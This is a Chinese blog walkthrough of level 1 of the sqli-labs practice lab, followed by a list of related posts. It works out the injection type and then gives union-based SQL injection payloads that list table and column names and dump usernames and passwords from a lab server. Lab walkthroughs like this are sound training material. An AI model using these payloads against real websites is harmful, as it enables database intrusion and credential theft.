sqli-labs系列—

文章目录

判断注入类型
开始注入

判断注入类型

首先判断是什么类型的注入，这里是字符型的：

1' and '1'='1   //正常
1' and '1'='2  //错误

开始注入

末尾的注释符#被过滤，所以报错了：

URL编码绕过，列长度为3：

爆注入点：

'union SELECT 1,2,3%23

爆表名：

http://192.168.1.113:86/Less-1/?id='union SELECT 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

爆列名：

http://192.168.1.113:86/Less-1/?id='union SELECT 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')%23

爆字段内容：

http://192.168.1.113:86/Less-1/?id='union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23

第一关嘛，都是常规操作，这里的0x3a就是一个;只不过用16进制表示了，为了区分一下账号和密码，增加可视化。

这个exp后面会经常用到，这样好处是可以更直观的反映出它过滤了什么，相对于上一关加了什么防护或者有什么变化，坏处自然就是手懒了一些。

exp：union SELECT 1,2,(select group_concat(username,0x3a,password) from users)%23

sqli-labs系列——第一关相关推荐

SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注
第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...
SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注
第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...
SQLi LABS Less 26a 联合注入+布尔盲注
第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and or ),注释(/* # -- /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...
SQLi LABS Less 25 联合注入+报错注入+布尔盲注
第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...
SQL注入之时间盲注和报错注入（sql-lab第一关为例）
什么是时间盲注时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）
SQL注入介绍什么是SQL注入: SQL注入是(SQLi)是一种注入攻击,可以执行恶意的SQL语句,它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制web应用程序后面的数据库服务器.攻击者 ...
qt 3d迷宫游戏_Steam上最硬核的恐怖游戏？玩家耗时一个月才通第一关！
说到恐怖游戏,游戏日报漆木第一时间想到的便是<逃生>系列.<层层恐惧>.<寂静岭>等.他们的共同特点无非就是恐怖,但难度都比较适中,主要体现在解密方面.而今天为大家 ...
因果分析系列6--相关，回归与因果
因果分析系列6--相关,回归与因果相关与因果相关与回归回归与因果回归理论非随机数据的回归分析相关,回归和因果这些是统计和机器学习中经常提到的一些术语,它们均可通过观测数据定义定义不同变量之 ...
2023春节祝福系列第一弹（上）（放飞祈福孔明灯，祝福大家身体健康）（附完整源代码及资源免费下载）
2023春节祝福系列第一弹(上) (放飞祈福孔明灯,祝福大家身体健康) (附完整源代码及资源免费下载) 目录一.前言二.一片星光闪烁的旋转星空 (1).效果展示: (2).相关源代码 (3).语法 ...

sqli-labs系列——第一关

文章目录

判断注入类型

开始注入

sqli-labs系列——第一关相关推荐

最新文章

热门文章